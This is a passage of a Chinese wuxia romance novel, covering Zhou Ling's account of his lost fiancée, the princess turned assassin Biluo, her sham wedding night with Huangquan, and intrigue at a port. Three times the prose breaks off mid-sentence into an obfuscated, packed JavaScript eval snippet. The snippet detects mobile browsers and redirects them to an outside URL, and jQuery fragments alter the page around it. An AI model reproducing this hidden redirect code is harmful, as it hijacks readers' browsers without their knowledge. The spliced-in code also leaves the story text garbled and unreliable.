周令收回手:“最近我身边多了些朝廷的探子,已经被我清理了一波,但我不确定还有没有,是以这次我多带一些人手过来,防的就是朝廷那边。只是……我没想到他们这次来了那么多人。” 黄泉用嘴咬着纱布,没受伤的那只手快速给伤口包扎好打结,低垂的眼睑撩起来,如野兽般审视着他:“我不管你为什么要多埋伏那么多人手,我说过,我不会问。但你至少应该告诉我,这次可能会有人偷袭,让我有所准备。” 周令看着他包扎好的伤口,沉默片刻,低头向他道歉:“对不起,这次是阿兄错了。任务的情况应该事无巨细地提前跟你说清楚。下次一定不会再这样了,请你莫怪阿兄。” 此时他又称自己是阿兄了。 黄泉很清楚周令的一些手段,无论是强势还是示弱,都是他可以随意切换的姿态,这其间或许也有真情流露吧,但也不会太多就是了。 可他毕竟是救了自己的那个人,也救了黑白无常二人,他可以将自己一辈子拘在身边做他的侍卫,但他还是放自己高飞。 周令不会完全信任任何人,这点自己和他的其他手下没有什么区别,黄泉很满意这点,自己也并不想成为被他特殊对待的人。 只是,就像他说的,任务情况他不该有所隐瞒。 虽然他后面返折回来应该是来救自己的,但今日若不是那名内应及时杀到,自己绝不会只被划伤那么简单。 算了,和他计较这些也没意思,自己注定和他不是一路人。 但那名煌山堂的内应居然和周令是旧相识,那周令对煌山堂和幽夜司的结盟知晓吗? 黄泉道:“你那名故人身手了得,若不是她结果了贼首,我还得苦战一会儿。” 周令莞尔,那种发自内心的笑意又浮现在他脸上。 或许是因为刚刚才被黄泉揭穿了他的隐瞒,这次他对这位故人交代得很痛快: “她是后楚的最后一位公主,封号义华。当年家父还是后楚的镇北侯时,圣上为我们指婚,她是我的……未婚妻子。” 8. 未婚妻子 黄泉知道周令乃前朝镇北候的幺子,但很少听周令主动提起往事。战乱中的回忆,都离不开家破人亡,亲族赴死,在这点上,周令和黄泉的痛苦没什么两样。 因而见到他脸上的笑容时,黄泉明白,这位未婚妻子对于周令而言,当是前半段人生中少有的值得回忆的事。 见黄泉脸上鲜见地露出探究之意,周令又笑了一下:“这都是陈年旧事了,当年的婚约早就随着后楚之亡而不作数了。家父殉国,兄长们战死,王城和宫里也很是乱了一阵子,我当时自顾不暇,待一切安顿好后,再去寻她时。她早已不知所踪。” 黄泉好奇问:“她一个公主,城破后定然会被叛军围堵,能逃到哪儿去?” 周令看他一眼,眼神中带着骄傲的笑意:“她不仅仅是一个公主,她是后楚皇帝唯一的孩子,亦是后楚的下一任……女皇。” 黄泉震惊地睁大眼睛。 这乱世中,造反不稀奇,称王不稀奇,人吃人不稀奇,什么都不稀奇。 可女人称帝,无论是在盛世还是乱世,都很稀奇。 女人称帝并非亘古未有,但公主被自己的皇帝爹立为皇储,古往今来还是头一遭。 可话又说回来了,彼时整个后楚都坠坠危矣,皇帝都没什么用,更遑论什么皇太女。这位义华公主被自己的皇帝爹架在这种位置,只会让她在国破家亡时遭受更多的凌辱和折磨,更难活下去。 像是看出他心中在想什么,周令接着道:“当时皇帝立她为储并非临时起意,她是一出生就被立为皇太女的,从小到大她都被当做皇位继承人培养。后楚本就据于中原以南,殷朝建国数年后,后楚仍是好好的,我想皇帝是真的很疼爱她这个女儿,他想交到这个女儿手里的,应当也是一个中兴繁盛的后楚。” 黄泉:“当时竟没人反对吗?” 周令:“当然有,这种声音一直就没消失过,尤其是在最后三年,大旱和洪水轮番肆虐,那些大臣更是将其视为老天将罚,逼皇帝废了义华,改立皇储。” 黄泉:“那这位义华公主呢?她如何?配得上皇储这个位置吗?” 周令一愣,似是没料到黄泉会这么问,不禁回忆起自己刚入宫时,见义华第一面时的情形。 那时的义华只有九岁,着一身明黄色的圆领袍,外罩一层薄如蝉翼的鲛纱,肩背笔直,身形柔韧,宛如一支初春的嫩竹。虽然未到女子及笄的年龄,但身为皇太女的她已早早束发。玉冠拢不住孩童时期柔软的碎发,有几缕从额前耳后垂下来,显出几分俏皮。 初见这一幕的周令心中不由自主地生出几分怜爱,直到他目光定住,望进了那双比皇帝还要矜贵威严的眼睛。 “允文允武,明达果断。”周令叹息道,“如果义华是个男儿身,后楚定能熬过那三年天灾,甚至日后问鼎中原也不是不可能。” 黄泉:“那她怎么又被指婚给你了呢?” 周令回神,听他这么问,扫兴地瞥他一眼。 黄泉一副皮实欠打油盐不进的样子:“我没别的意思啊,我也没说你配不上,我就是好奇接下来又发生了什么。” 周令也没有隐瞒:“因为皇帝妥协了。群情汹汹,民议沸然,但皇帝还是不想废了义华,只退而求其次,将义华指婚给了我,命我为公主驸马,以镇北候府为这位皇储增加筹码。” 黄泉哼笑一声:“皇储怎么会有驸马?” 周令:“是啊!这其实就是变相地否认了义华皇储的位置。我想,或许就是从那时起,义华就不再相信任何人,也是从那时起就做起了出宫的准备吧。” “出宫?!”黄泉没想到事情竟还能如此发展。 周令:“是。我也是后来才知道,从那时起,义华就常常不在宫中了,她带着愿意奉她为主的一群人离开王宫,甚至离开了王城。而同一时期,江湖上也开始出现了一个组织,他们杀贪官,刺酷吏,对一众朝廷官员的了解就像是捧着他们的族谱一页页照着翻。而这个组织……” 黄泉惊叹喃喃:“就是煌山堂。” 周令:“对。昏以为期,明星煌煌。她不当皇储了,不当公主了,什么皇室,什么正统,她通通都不要了。我本以为她该是怀念后楚,怀念当年做皇太女的日子的,后来……我终于明白,自出宫的那一日起,她就像是终于被放出笼的猎鹰,在昏暗的世道中以杀止杀,再无阻碍地做着她真正想做的事。” 黄泉:“可我记得煌山堂的堂主是荣夫人,年龄应该不小了,这位义华公主还没你大吧,是荣夫人吗?” “不是。荣夫人是义华出宫后认识的人,具体如何结识的,我不知晓。”周令眼含笑意,挑了黄泉一眼,“义华在煌山堂的名号,你应该也听过,毕竟你们都是江湖上叫响了的,第一高手。” 黄泉了然:“碧落……她居然是碧落……” 今晚接收到的信息,比黄泉过往二十多年接收到的都要多。 即使当年有周令的资助,但黄泉对自己一手创立的幽夜司这件事都是颇为自喜的。可今日得知煌山堂的发家经历,黄泉才明白什么叫真正的传奇。 周令替黄泉将褪下的一半短褐提上来,披在他肩上,眼睛在烛火的映照下泛着光:“你和义华很像,一样的藐视权威,一样的叛逆却不张扬。” 很难说周令给黄泉资帑,放黄泉离开的时候,有没有将其往碧落那个方向培养的打算,但事实就是,在独来独往这条道上,黄泉确实和碧落一样优秀。 但黄泉很快意识到另一个问题,周令对煌山堂如此了解,碧落是否已经对他透露了幽夜司和煌山堂要结盟的消息? 黄泉暗中观察周令的神情,试探道:“那你们后面有联系吗,她对你……为何那么冷漠。” 周令叹了口气:“或许从她被指婚给我的那一刻,她就恨透了我吧。” 黄泉假模假式地为他打抱不平:“那是她爹指得婚,关你什么事。” 周令:“但那毕竟是立她为储,爱她十余年的父皇。我听说,王城城破那日,她曾亲自去皇宫救她的父皇出来,但……最后应当是没能救出来吧。可见她恨不起她的父皇来,便来恨我,倒也正常。” 黄泉揶揄道:“你们倒是一个愿打,一个愿挨。从没见你这副样子,你该是从见第一面就心悦她了吧。” 周令大方承认,笑道:“她是这天下第一奇女子,我心悦之,又有何怪。” 黄泉泼他冷水:“可人家很明显不心悦你。” 周令斜睨了他一眼,仿佛在笑他不谙男女之事:“她若真的对我无意,今日就不会来救我。我曾在城中给她留了秘信,希望她能帮忙一起护送这匹货出城,她虽然没有回复答应,今晚却出现了,这不是在乎又是什么?” 得,他应当不知煌山堂和幽夜司要联盟一事。若知道,周令应该能意识到,今晚碧落并非为他而来。 怪不得周令放在见到碧落时那么惊喜,敢情是真以为是故人来救。 这样一切都顺了。煌山堂和幽夜司要结盟,但周令这个同时和两组织有旧的人却不知道。而煌山堂派来与他合作的内应就是碧落,碧落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17206229|197351||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原本是后楚的皇太女,一人之下万人之上,脾气臭嘴巴毒也很正常。 暴雨渐渐止息,似是一场精彩酣畅的大戏终于落幕。 黄泉往外看了眼,嗅着暴雨后清新的气息,准备告辞:“我得回去了,给我匹马。” 周令朝外招手,亲自将他送到门口,又递给他一件蓑衣:“回去的路上小心,把这个穿上,伤口别沾水。” 黄泉挡开蓑衣,从旁边拎起一个斗笠戴上,翻身上马:“不用了。你们也尽快离开,不要在这里久留。” 说罢,疾驰而去。 潞城,县令府,西北小院。 碧落走到半路雨势就大了起来,被淋了个正着,回到小院时狼狈得像个落汤鸡,心中将幽夜司的那人和周令骂了个千儿八百遍。 阿青吓坏了,赶紧帮她把试衣服褪下来,把她按在浴桶里,好好泡个热水澡。 子时碧落出门时,阿青就觉这天要下雨,于是事先把热水烧好了预备上,但还是希望自家殿下能在落雨之前赶回来。若不然,虽是在夏日,这一场暴雪淋下来也容易风寒。 碧落全身浸没在浴桶中,散开乌黑绵密的长发,由阿青服侍着洗去一身血腥气。 “小姐,这次很累吗?”热气氤氲,阿青一边给碧落梳理头发,一边轻声问。 碧落阖目,答道:“无事。只是见到周令了。忆起了些旧事。” 阿青是从小便跟在她身边的宫女,是除父皇外和她最亲的人,自然也知道周令是谁。 阿青手一顿:“怎么……见到他了。” 碧落:“幽夜司托我们看顾的那匹货,是周令的,而且应当是一批武器。” 阿青惊讶,停下按摩,转到浴桶一侧紧张地盯着碧落:“他要提前动手了?” 碧落:“应该不是。他前日也曾用密信托我帮他运这匹货出去,但我没回复他。” 阿青:“那他又是怎么找到幽夜司的?幽夜司又找上了我们,这些太巧了,他和幽夜司是什么关系?” 碧落睁开眼,一双凤眼在白雾的笼罩下削了一丝锐利,声音清冷而明睿:“周令应当不知道幽夜司找过我们,换言之,他不知道我们和幽夜司要结盟。” 自从王城陷落后,周令第一次找到自己是在七年前,自己那时十五岁。 他把自己当成一个众叛亲离无依无靠的孩子,说愿意履行当年的婚约,娶自己为妻,护自己一辈子。 自己懒得解释,只在十招之内将他摁在地上,告诉他: 世上再无义华,他也没有什么未婚妻。 可他就跟中了邪一样,之后总是时不时想办法找到自己,虽不再提婚约,但却主动向自己示好,还是想让自己跟他走。 她有病吗?跟他走干嘛? 离开王城的每一天,她都过得比在宫中要畅快。周令又凭什么觉得,当年在最艰难地时候她都没有想过用示弱换去镇北候府的支持,现在的她反而要受他庇护了? 周令此人,无利不起早,他打得什么算盘,碧落很清楚。无非是想通过自己获取一部分后楚旧臣的支持。 可他也是聪明一世,糊涂一时,那群旧臣恨不得自己这个皇太女从来没被生出来过,又怎会因此而被拉拢。 当年的婚约,也是父皇的无奈之举,十几岁的自己的确恨过,但家国都没了,再去恨他一个将门幺子,又有什么用。 往事不可追,而今…… “呵。”碧落呵出一声冷笑,凤眸中升起盎然的兴味。 而今,她都要大婚了呢。 9. 大婚 潞城最近接连发生了许多大事。 先是千里迢迢自南边运进来的血珊瑚不翼而飞了,紧接着县令老爷查出来说血珊瑚是通泰钱庄的盗走的,通泰钱庄一夜之间就被查封了。 好在县令老爷承诺,在钱庄里存钱的人可随时凭借原来的存据支取本金和利息,因而并未引起多大骚动。 而就在通泰钱庄查封完毕的第二天,潞城两大势力的联姻就这么毫无预兆又轰轰烈烈地开始了。 在此之前从未有过任何消息传出,但就是这么极其突然的,朱县令的女儿嫁给了齐将军的孙子。 大婚那日,城内的流水席大摆三天,城外亦设了三日粥铺,让流民吃上了三日的饱饭。 一时间,没有人再去追究这对新人什么时候走的三书六礼,也没有人有空再去管什么被查封的通泰钱庄,潞城内外都对朱县令和齐将军的仁义慷慨,感恩戴德。 然而这一切对于着身着华丽喜服,端坐婚房内碧落来说都不重要。 她今晚只有一个任务:把齐瀚糊弄过去。 为母守孝而不能圆房这个理由名正言顺,但新婚丈夫往往无法接受,就好像他们成亲就是为了床上那档子事儿。 今日,齐瀚能接受更好,不能接受也罢,碧落无论是作为朱克的女儿,还是作为煌山堂的第一杀手,都必不可能让他占到什么便宜。 端看,这个看起来不太聪明的齐瀚作何应对了。 “吱呀——”一声,房门被推开。 锦扇后,碧落眉峰一挑,整个人进入了一种诡异的战斗状态。 而一旁的阿青则浑身紧绷,像守着小狮子的母狮子,充满戒备地瞥向逐渐走进的,同样是一身喜服的新郎官。 黄泉同样很紧张,在他短短二十年的人生里,他学过逃命,学过斗殴,学过功夫,学过杀人,甚至在婚前那短短几天,被齐山逼着连房中术都学了,却唯独没学过如何成亲。 如果他是真正的齐瀚,这些他从小耳濡目染也该是会的,可他不是。 他对成亲唯一的记忆,就是在他还很小的时候,和村里的孩子一起去别人迎亲的队伍两侧捡喜果,甚至连村里人闹洞房他都因为个子太小,一次没能成功挤进去过。 是以今日,无论别人如何灌他酒,他都小心着没喝多,生怕自己唐突了人家姑娘。 好在今日有喜婆在,每一步该做什么,他听安排便是。 黄泉步伐谨慎地绕过屏风,新娘原本隔着一层纱的、朦胧绰约的姿容,豁然变得清晰。 她一身喜服,红得像火,在满室烛光的映照下,犹如梧桐木上一只娴静安坐的凤凰。 “请新郎行却扇礼。”喜婆在一旁提醒道。 黄泉上前两步,来到新娘面前。他伸出手,在落向执扇的那只白如冷玉的手时,却忽然改变了方向,只按在了团扇的扇顶,轻轻下压。 那张他只见过两面的绝世容颜,再次向他展露眉眼。 新娘的眼睛并未低垂着,而是在两人目光相触的那一刻,直直朝他望来。 黄泉的手突然顿住了,他看着这双灿然美目,忽然觉得这双眼睛他应该在哪儿见过。 然而留给他思考的时间转瞬即逝,新娘在他轻压扇顶后,就从善如流地移开扇面,露出日出雪山般的容颜。 刚刚那股一闪而逝的熟悉之感像没能抓住的青烟,悄无声息地溜走了。 如果说那日晚宴上见到的碧落是仙宫上的神女,凌然不可侵犯,那今晚的碧落便是霞光的宠儿,热烈而又灼然。 而后,黄泉于神游中听见他的新娘温声道:“喜婆今日便先退下吧,剩下的交给阿青就好。” 喜婆有些讶异,但却也没有执意留下,只笑着朝两个新人一福身,便退了出去。 而黄泉……当场宕机。 怎么办? 喜婆走了,那…… 谁能来告诉他,他该怎么办? 又是“吱呀——”一声,门合上了。 碧落率先打破了寂静:“让喜婆先退下,是因有一事,我须得和齐公子提前说明。若你不愿意,我愿回府自向父亲请罪,一切罪责由我一人承担。” 听到这话,黄泉隐隐猜到了她要说些什么,这样的猜测反而让他过热的大脑开始降温,理智逐渐回归,他亦不紧不慢道:“但讲无妨。” “我的母亲并非县令府的朱夫人,想必这点你已知晓。她出身江陵郑氏,但于三个月前……病逝在举族逃难的路上。”碧落的声音带着克制和隐忍,“我不管这世道如何,亦不管别人会如何看我,但我曾发誓要为母亲守孝三年。如今父亲将我嫁你,乃为两家联姻,我没有拒绝的权利。这不怪你,我亦并无怨气,只是……” 好!太好了! 黄泉内心暗喜,面上却依旧要摆出一副进退有度的得体样:“我明白了。如果是为了这件事,你并无错处,亦不必自责。” 碧落惊讶抬头,既是装的,也是真的,装作惊讶于他的宽容体谅,实则惊讶于他这么容易就松口了,该不会是…… “你是我的妻子,我不会强迫你做你不想做的事。”黄泉扶着她的肩膀,垂头注视她的眼睛,“今日你我结为夫妻,那这便是我们夫妻二人的事,你不必向岳父那边解释什么,包括我祖父那边,都交给我。我保证,不会让你受家人责怪,亦不会让你受流言蜚语的侵扰。” 碧落仰头,青年穿着喜服的高大身影将她笼罩,这在自小习武的碧落看来无疑是一个极具压迫感的姿势。 可青年扶着他的手却是轻柔的,仿佛捧着一个易碎的瓷器。 两人便这么一站一坐,对视良久。 碧落的眼睛像是江面上的落日,灿然若金,却带着融融暖意。 最后却是黄泉没能抵住,先一步移开了目光。 竟是个真傻的,碧落心想。 碧落起身,黄泉顺势退后一步,两人相对而立。碧落双手合抱,向前一揖:“幸得夫君相护,妾不胜感激。” 黄泉望着她低垂发髻和几乎纹丝不动的步摇,呆愣了一瞬,随即也退后一步,向着自己的妻子对揖一礼。 弯腰俯身的那一瞬,黄泉心中升起一股从未有过的情感。 这就是成亲吗? 这是真的成亲吗? 不,这应该是假的才对,我的身份是假的,我刚刚那一番维 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17206230|197351||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 护之辞亦是假的,只是为了圆一个谎而撒的另一个谎罢了。 可……为什么心头剧烈起伏的情绪是如此得真实? 碧落先一步直起身,轻轻携着黄泉的胳膊,将这个晕晕乎乎的家伙带到桌前,朝阿青递了个眼色。 阿青立刻从神游中回神,步伐轻盈地为两人斟上合卺酒。 碧落接过自己那半边,黄泉亦接过酒,直到被妻子拉着手臂相错,将那酒一饮而尽时,他的眼睛还一直黏在妻子的脸上。 她双眸微阖,眼尾如飞霞,肌肤却如暖玉,她喝酒的时候小口慢酌,雪白纤细的脖颈随之起伏,让人忍不住想抚上去,再微微用力,留下自己的痕迹…… 合卺酒饮罢,碧落便吩咐阿青去门外候着。 阿青一步三回头,极不情愿地出去了。 两人就在这桌前坐着,虽一言不发,室内却处处弥漫着一股静谧的旖旎。 碧落在等,等这个傻子下一步怎么做,是出屋去前院睡?还是在外间的小榻上睡,亦或是……嘴上这么说着,实际却爬上她的床。 黄泉的确在想下一步该做什么。他自己其实准备了挺多的,虽然不是齐山让他提前准备好的房中术那种…… 忽的,他的妻子又携着他的手站起来,让他打开双臂,她俯身,二话不说就开始扯他腰带! 黄泉大惊,不是说不圆房吗! 他一把握住妻子的手,温热细腻的皮肤触感极佳,他原本只想将她的手拿开,却像被吸住了一样,紧握着她的手,紧张地看着她。 碧落彻底被取悦了,扬眸,眼中含着笑意和揶揄,像是看出了他心中所想,道:“夫君不先洗漱一番吗?满身酒气,我可是要嫌弃的。” 哦,是要沐浴!我到底在想些什么! 黄泉赶忙道:“要洗漱,要洗漱的,不过这些就不用劳烦娘子了,让下人来就行。” 碧落继续逗他:“那可要我让丫鬟服侍你?” 黄泉:“不!不用了,水我已经让下人备好了,剩下的我自己来就行。我这便去。” 说完,便朝门外走,生怕自己跑慢一点又被妻子那双柔若无骨却出其不意的手逮回来。 门合上,院中传来下人和黄泉的交谈声,碧落收回视线,可心中那种轻松和愉悦却久久不散。 上次有这种感觉,还是前几日在密林中救下幽夜司那个呆子的时候。 碧落的思绪便这么漫无目的地飘着,唤来阿青,服侍她在屋内洗漱。 半个时辰后,浴桶被抬了出去,碧落洗漱完毕,在梳妆台前通发,忽听门又开了。 侧头望去,但见沐浴完的黄泉着一身寝衣,不知为何又回来了,而他后面还跟着一个虎视眈眈盯着他的阿青。 黄泉似是也感受到了阿青的盯视,颇有些不自在,跨步来到屋内,犹豫着想说点什么。 碧落看出了他的拘谨,她今日心情极好,便吩咐阿青道:“阿青,今日不用你候着了,去休息吧。” 阿青焦急地看自家殿下,却见那双凤眸微微一压,不经意间泄出一丝不容置疑的冷意。 阿青登时不敢再停留,退出去,为两人合上房门。 10. 事后清晨 梳妆台前的碧落亦是一身白色寝衣,青丝如瀑,散落于肩头,红烛映照着她铜镜中的容颜,宛如话本里勾人心魄的妖精。 见妻子这副慵懒媚态,黄泉心中难以抗拒地涌上一股遗憾。 若是真的和朱姑娘结为夫妻…… “今日夫君要宿在何处?”碧落回首,笑看他。 那双眼睛在笑,黄泉却不知为何,嗅到了一丝危险的气息。 他脚步未动,只站在外间,声音低沉:“我今日还是会宿在这里,但我会睡在外间的小榻上。大婚之夜,我若宿在前院,让下人看到了,难免生出些麻烦。但你放心,我绝不会……总之,我会遵守我的诺言。” 碧落起身,来到床榻前坐下,故作轻松道:“我信夫君。你我二人已是夫妻了,就算你” 她话还没说完,就被黄泉打断:“不会的。我知你处境,所以多说无益。过了今晚,你自会知晓。” 说罢,黄泉吹熄外间的蜡烛,合衣在小榻上躺下:“睡吧。” 碧落透过屏风,见他健硕的身躯挤进小榻里,长手长脚的都伸出床外,显得有几分可怜。 过了今晚,也还有无数个晚上,看你表现了,碧落心道。 婚房内,最后一抹烛光也熄了,热闹了一整天的新宅沉沉睡去。 亥时,守夜的丫鬟被唤来,说是老爷和夫人房内要水沐浴。 几个丫鬟睁着困倦的眼睛,帮老爷夫人备好水,送进房中。老爷让他们各回去休息,说今夜不会再唤她们了。 丫鬟们一边庆幸可以睡个好觉,不用半夜再被叫起来忙活,一边暗自感慨老爷真是龙精虎猛,大婚第一晚就干到了这个时辰,可房中却一点声音都没传出来,怕是夫人被老爷累着了,连叫也叫不出。 听着她们如此这般的窃窃私语,阿青只觉头皮发麻。 她坚信那个齐瀚绝对不是自家殿下的对手,今晚无论他想干什么,只要殿下不同意,他是肯定干不成的。 可这群丫鬟个个眉飞色舞,讲得跟真的一样,大半夜越讲越精神。阿青不免担心,万一自家殿下要同意了呢? 而房内,被下人抬水的动静一扰,浅眠的碧落早就醒了。她起身,疑惑问道:“作何叫水?你要沐浴吗?” 黄泉尴尬解释:“没事,你睡吧,这桶水我是叫给下人看的。” 碧落瞬间明白了,这是让下人以为两人圆房后要水沐浴,这样谁也不会认为两人今晚什么都没发生,甚至连床都没睡一张。 黑暗中,碧落难忍笑意,却没有出声,心头滚过一股热流,温声道:“让夫君劳心了,莫要再管这些了,你快些休息吧。府中的下人我还是能管得住的。” 热水在浴桶中升腾着热气,黄泉坐在外间的小榻上,隔着屏风望向内间的床榻。 他的妻子就在帷帐后,拥被坐他们的婚床上,她刚醒,脸蛋上应带着可爱的酡红,睡乱的发丝黏在颊边,迷糊得让人想狠狠把她揉进怀里。 以前无数个漫漫长夜,黄泉都是一人度过。 他曾见过旷远的星空,见过漏风的屋顶,见过密集的雨幕,见过诡谲的坟头。 或许是以往过得总是清清冷冷,他虽曾梦遗,却从未在清醒的时候,产生过如此难以克制的欲念。 黄泉的目光很烫,像是要将屏风和帷帐都烧穿了。碧落能感觉到他的目光,听得见他在暗夜里刻意压制的呼吸,绵长且用力。 她想,若他此时忍不住绕过屏风来看自己,也是可以原谅的,看在他煞费苦心地叫了一次水的份儿上。 可那呼吸又渐渐平复了下去,外间传来一声若有似无的叹息,他轻声道:“安心睡吧。” 窸窸窣窣的声音响起,他似是又合衣躺下了。 碧落心头划过一丝微妙的不舒服,她说不上来是什么感觉,就像是自己精心打理的苗圃,路过的人居然只是从外面匆匆扫了一眼,就头也不回地走开了。 她也不是非要谁看,但谁要是不看,她一定记得清清楚楚! 罢了,纠结这些作甚。碧落不再管,被子一拉接着睡。 外间的黄泉其实没有丝毫困意。 他就这么躺在窄小的床榻上,感受着自己精神蓬勃的下半身,无论他怎么平复都消不下去。 唉!他在心里默默叹了口气。作茧自缚,不过如此。 他只要一闭上眼睛,脑海中就开始疯狂涌现自己为了敷衍齐山看过的那些带图画小本子,只是画面不再是单调生硬的线条,而是温热丰盈柔腻的肌肤。 他有些后悔,为什么当初没再仔细看看那图画,又有些庆幸,幸好自己当时没看太仔细,否则他今晚会更加受罪。 刚刚他真的很想借着安抚的由头,绕过屏风,再看她一眼。但他忍住了。 可那念头就像是蚂蚁一样,凶狠而安静地啮咬着他的心。他痒得心神动摇,却连辗转反侧都不敢,怕动静太大又把里间床榻上的人吵醒。 终于,他难耐地坐起身,心脏在胸膛中剧烈跳动。 我就看一眼,她睡着了,不会知道的。黄泉如是对自己说。 他赤脚踩在地上,将多年来练就的潜行的功夫用到了极致,悄无声息地来到落着帷帐的床前。 伸出的手有些颤抖,他几乎是脑子一片空白地撩开帷帐。 和脑海中的那些疯狂的画面截然不同,眼前的景象安静得让人不忍破坏: 窗外微微透进些天光来,锦被起伏平缓,像破晓前温柔的山峦,他的妻子放松地卧在里面,面朝墙,只露出青丝掩映下半张如玉的侧脸。 心中叫嚣的欲望忽然全都消失了,他只能听见自己逐渐平稳的心跳。 一下,一下,又一下,仿佛他们已经成亲了很久,悠长的岁月打着节拍。 几息之后,他将帷帐放下,轻手轻脚地回到外间的小榻上躺下,不一会儿,陷入好眠。 而在帷帐后的碧落,听着外间彻底没了动静后,嘴角微勾,于黑暗中睁开了毫无睡意的双眼。 翌日清晨,瓢泼大雨。 碧落这一觉睡得很沉,直到醒来时听着窗外啪嗒啪嗒密集的雨声,她仍有一种犹在梦中的感觉。 昨晚黄泉那么轻微的起床声都被她听到了,可自那再睡过去后,她便再难提起戒备,加之这催眠的雨声,竟是少见地睡了个懒觉。 她撑起身子,随手撩开帷帐,正想唤阿青,却见黄泉绕过屏风走进来。 黄泉仍旧是昨日那一身寝衣,只是交衽的领口开得更低了些,露出两块微鼓的胸肌,再往下,隐约能看见幽深的腹沟。 这才一晚上过去,连装都不认真装了? 碧落只觉一股躁火从身下烧了起来,她在心底饶有兴致地“啧”了一声。 黄泉在屏风前停步,为了避嫌似的地保持了一段距离,轻声道:“你醒了?昨晚睡得怎样?我没吵到你吧?” 碧落心中哼笑,面上却羞涩回道:“没有。我……睡得很好。夫君……是言出必行的君子。” 呵!还在这儿装呢。把领口开那么低,简直把昨夜偷摸爬起来看她的心思写在了脸上!别以为她不知道! 黄泉亦被“君子”二字臊了一下,想着昨夜自己非礼也视的行径,低头掩饰,赶紧换了个话题:“适才祖父派人,说是今日暴雨,道路难行,让我们不必着急去奉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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其实就这些东西,黄泉也觉得有些拿不出手的。若他此时不是齐瀚,而是真的自己成亲,他可以将之前所挣的都交给妻子打理,比这要多多了。可他现在是齐瀚,齐瀚只能给出这么多来。 碧落这才认真打量起眼前这个有些聪明但不多的青年。 他看起来真像是有些窘迫,是觉得这些钱财有点拿不出手吗?其实还好,毕竟这件事的重点不单在于男人有多少,更要看男人愿意给多少。 碧落将两样东西都收下了:“夫君放心,我心里有数。” 忽听门外有下人急奔而来的脚步声,黄泉和碧落二人同时抬头,望向门外。 只听下人在门外喊道:“老爷,将军让您回府一趟。” 黄泉让人进来说。 门一打开,雨水裹挟着水汽灌进屋里,吹乱了两人的衣摆。 下人浑身湿透,显然是冒雨赶过来,急道:“将军让您去府上一趟,他有事找您。” 黄泉和碧落疑惑对视了一眼,黄泉问道:“可他清晨刚派人来说不必着急去府上。” 下人抬头看了眼碧落:“不,没让夫人去,只让您自己过去。” 碧落担忧道:“可能有急事,祖父找你过去商量。” 黄泉亦点头:“我过去一趟。” 碧落起身为他拿来外袍披上,又让丫鬟取来蓑衣,替他穿好:“雨天路滑,路上小心,早去早回。” 黄泉垂头看她为自己整理蓑衣的样子,只觉早晨的热粥都没这句话这么让人熨贴。 11. 夫妻分居 抵达城东将军府时,雨势稍小了些,但依旧淅淅沥沥地下个不停。 黄泉披着蓑衣,从马上跳下来,把缰绳扔给小厮,快步进府。 迈进大门的那一刻,他忽觉身后有一道窥伺的视线,脚步一顿。 “少爷,怎么了?”一旁撑伞的管家问道。 黄泉摆摆手,继续往正堂走去,并未停留。 转到正堂廊下,赫然看见一个令他十分意外的面孔——朱克。 这俩人怎么这么快就熟络起来了?简直比自己和朱县令女儿的进展还要神速,黄泉腹诽道。 齐山也看见了他,朝他招手,笑着朝朱克道:“看来他们小两口感情不错,拖了那么久才来,指定是跟媳妇起腻呢。” 朱克含笑朝廊下望去:“来了就行,正好将此事和他说了。” 齐山其实根本没料到朱克会来。 就在清早,他刚得知城东三十里外的港口外堤溃决,被巨浪冲垮了二十余丈,海水倒灌入港,停泊的货船被打沉了十之七八。 本来他见雨势太大,已派人去城南告知孙子和孙媳妇不用过来奉茶了,可这消息一出,他立刻又派人把孙子叫了过来。 只因港口的驻兵首领金豹本来是他的人,但他现在怀疑,这个人已经彻底不能用了,想派孙子亲自代他走一趟港口。 而先他孙子一步到府的朱克,更是印证了他的猜想。 县令府在港口亦派驻有人手,朱克也有自己的消息渠道。 港口距离潞城有一段距离,治理不易,一应政事也常由金豹代理。赋税、徭役、工事、赈灾,金豹能控制的事情有很多,说是一手遮天也不为过。 在黄泉来之前,朱克主动向齐山透露了一部分,近一年来他自金豹那里收到的港口情况。 齐山却立刻察觉,这些情况和金豹和自己说的,出入甚大。 两人仔细对了一番才发现,金豹此人,简直做成了潞城港的土皇帝。 设明暗两套账册,将上岸的部分丝绸、香料等高档货通过走私进港,所得不交税,不上交,尽归自家腰包;私扣港防修缮款,并以“采买石料”、“雇工”等名义虚报开支;私设“卸货税、停港税”等苛捐杂税,盘剥商人,索取好处。 想来金豹正是知道朱克和齐山之前暗中对立的关系,才敢如此胆大包天地两头瞒堵,在潞城内两个最大的势力头上,无差别地薅起了羊毛。 而他没想到的是,潞城内在这短短半月间发生了翻天覆地的变化,齐山和朱克联手,通泰钱庄倒台,两人结为亲家,化干戈为玉帛。 恰逢飓风登岸,港堤溃决,金豹这边自顾不暇,齐山和朱克二人却先一步互通了消息,他在港口的布置便再难瞒下去了。 